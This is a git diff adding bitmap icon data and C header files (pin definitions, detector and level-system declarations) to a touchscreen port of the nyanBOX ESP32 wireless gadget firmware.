0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x03, 0x80, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0xfc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x03, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0xf8, 0x3f, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0xff, 0xff, 0x01, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x1f, 0xf0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x03, 0x80, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x07, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'zigbee', 128x64px +const unsigned char bitmap_zigbee [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x80, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x30, 0x00, 0x00, 0x18, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x38, 0x00, 0x00, 0x38, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x3c, 0x00, 0x00, 0x78, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x1e, 0x00, 0x00, 0xf0, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x0e, 0x03, 0x80, 0xe1, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x87, 0x07, 0xc0, 0xc3, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0xc7, 0x03, 0x80, 0xc7, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0xc7, 0xc1, 0x07, 0xc7, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xc3, 0xe1, 0x0f, 0x87, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xe3, 0xf0, 0x1e, 0x8e, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xe3, 0x30, 0x18, 0x8e, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xe3, 0x38, 0x38, 0x8e, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xe3, 0x30, 0x18, 0x8e, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xe3, 0x70, 0x1c, 0x8e, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xe3, 0xf0, 0x1f, 0x8e, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0xc3, 0xe1, 0x0f, 0x87, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xc7, 0x81, 0x03, 0xc7, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x87, 0x83, 0x83, 0xc3, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x8f, 0x87, 0xc3, 0xe3, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x0e, 0x83, 0x83, 0xe1, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x1e, 0x80, 0x03, 0xf0, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x3c, 0x80, 0x03, 0x78, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x38, 0x80, 0x03, 0x38, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x30, 0x80, 0x03, 0x18, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x80, 0x03, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x80, 0x03, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x80, 0x03, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x80, 0x03, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; diff --git a/cyd-port/include/legal_disclaimer.h b/cyd-port/include/legal_disclaimer.h new file mode 100644 index 0000000..415f18d --- /dev/null +++ b/cyd-port/include/legal_disclaimer.h @@ -0,0 +1,19 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef LEGAL_DISCLAIMER_H +#define LEGAL_DISCLAIMER_H + +#include + +bool showLegalDisclaimer(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/level_system.h b/cyd-port/include/level_system.h new file mode 100644 index 0000000..a98025b --- /dev/null +++ b/cyd-port/include/level_system.h @@ -0,0 +1,26 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef LEVEL_SYSTEM_H +#define LEVEL_SYSTEM_H + +#include + +void levelSystemSetup(); +void levelSystemLoop(); +void addXP(int amount); +int getCurrentLevel(); +int getCurrentXP(); +int getXPForNextLevel(); +void displayLevelScreen(); +void resetXPData(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/meshcore_detector.h b/cyd-port/include/meshcore_detector.h new file mode 100644 index 0000000..b109c51 --- /dev/null +++ b/cyd-port/include/meshcore_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef MESHCORE_DETECTOR_H +#define MESHCORE_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void meshcoreDetectorSetup(); +void meshcoreDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/meshtastic_detector.h b/cyd-port/include/meshtastic_detector.h new file mode 100644 index 0000000..897b463 --- /dev/null +++ b/cyd-port/include/meshtastic_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef MESHTASTIC_DETECTOR_H +#define MESHTASTIC_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void meshtasticDetectorSetup(); +void meshtasticDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/neopixel.h b/cyd-port/include/neopixel.h new file mode 100644 index 0000000..876f2b6 --- /dev/null +++ b/cyd-port/include/neopixel.h @@ -0,0 +1,24 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ +#ifndef NEOPIXEL_H +#define NEOPIXEL_H + +#include + +extern Adafruit_NeoPixel pixels; + +void neopixelSetup(); +void neopixelLoop(); + +void blinkColor(uint8_t r, uint8_t g, uint8_t b); +void stopBlinking(); + +#endif // NEOPIXEL_H diff --git a/cyd-port/include/nyanbox_advertiser.h b/cyd-port/include/nyanbox_advertiser.h new file mode 100644 index 0000000..d9d6e15 --- /dev/null +++ b/cyd-port/include/nyanbox_advertiser.h @@ -0,0 +1,24 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef NYANBOX_ADVERTISER_H +#define NYANBOX_ADVERTISER_H + +#include "level_system.h" +#include "about.h" + +void initNyanboxAdvertiser(); +void startNyanboxAdvertiser(); +void stopNyanboxAdvertiser(); +void updateNyanboxAdvertiser(); +bool isNyanboxAdvertising(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/nyanbox_common.h b/cyd-port/include/nyanbox_common.h new file mode 100644 index 0000000..941b41a --- /dev/null +++ b/cyd-port/include/nyanbox_common.h @@ -0,0 +1,17 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef NYANBOX_COMMON_H +#define NYANBOX_COMMON_H + +#define NYANBOX_SERVICE_UUID "6e79616e-424f-582d-7365-727669636521" + +#endif \ No newline at end of file diff --git a/cyd-port/include/nyanbox_detector.h b/cyd-port/include/nyanbox_detector.h new file mode 100644 index 0000000..afd1d32 --- /dev/null +++ b/cyd-port/include/nyanbox_detector.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef NYANBOX_DETECTOR_H +#define NYANBOX_DETECTOR_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" + +void nyanboxDetectorSetup(); +void nyanboxDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/password.h b/cyd-port/include/password.h new file mode 100644 index 0000000..7c5a8ef --- /dev/null +++ b/cyd-port/include/password.h @@ -0,0 +1,20 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef PASSWORD_H +#define PASSWORD_H + +bool passwordEnabled(); +void checkPasswordOnBoot(); +void setPasswordInSettings(); +void clearPassword(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/pindefs.h b/cyd-port/include/pindefs.h new file mode 100644 index 0000000..4aae368 --- /dev/null +++ b/cyd-port/include/pindefs.h @@ -0,0 +1,37 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +// pindefs.h +#ifndef PINDEFS_H +#define PINDEFS_H + +// Button Pin Definitions +#define BUTTON_PIN_UP 26 +#define BUTTON_PIN_DOWN 33 +#define BUTTON_PIN_CENTER 32 // Exit +#define BUTTON_PIN_LEFT 25 // Back +#define BUTTON_PIN_RIGHT 27 // Select + +// Radio Pins (CYD PIN-FIT remap — SPI bus stays default VSPI 18/19/23) +#define RADIO_CE_PIN_1 22 +#define RADIO_CSN_PIN_1 5 +#define RADIO_CE_PIN_2 27 +#define RADIO_CSN_PIN_2 17 +#define RADIO_CE_PIN_3 4 +#define RADIO_CSN_PIN_3 16 + +// NeoPixel +#define NEOPIXEL_PIN 0 // was 14 = TFT_SCLK (would corrupt the display) + +#include "touch_input.h" +#define digitalRead(pin) nyanDigitalRead(pin) // route the 5 button pins to touch + +#endif // PINDEFS_H diff --git a/cyd-port/include/pineapple_detector.h b/cyd-port/include/pineapple_detector.h new file mode 100644 index 0000000..380c4f0 --- /dev/null +++ b/cyd-port/include/pineapple_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef PINEAPPLE_DETECTOR_H +#define PINEAPPLE_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void pineappleDetectorSetup(); +void pineappleDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/pwnagotchi_detector.h b/cyd-port/include/pwnagotchi_detector.h new file mode 100644 index 0000000..74dd35c --- /dev/null +++ b/cyd-port/include/pwnagotchi_detector.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef PWNAGOTCHI_DETECTOR_H +#define PWNAGOTCHI_DETECTOR_H + +#include "pindefs.h" +#include +#include +#include + +void pwnagotchiDetectorSetup(); +void pwnagotchiDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/pwnagotchi_spam.h b/cyd-port/include/pwnagotchi_spam.h new file mode 100644 index 0000000..1552165 --- /dev/null +++ b/cyd-port/include/pwnagotchi_spam.h @@ -0,0 +1,25 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef PWNAGOTCHI_SPAM_H +#define PWNAGOTCHI_SPAM_H + +#include +#include +#include +#include +#include "pindefs.h" +#include "neopixel.h" + +void pwnagotchiSpamSetup(); +void pwnagotchiSpamLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/radio_manager.h b/cyd-port/include/radio_manager.h new file mode 100644 index 0000000..1e9c490 --- /dev/null +++ b/cyd-port/include/radio_manager.h @@ -0,0 +1,21 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#pragma once + 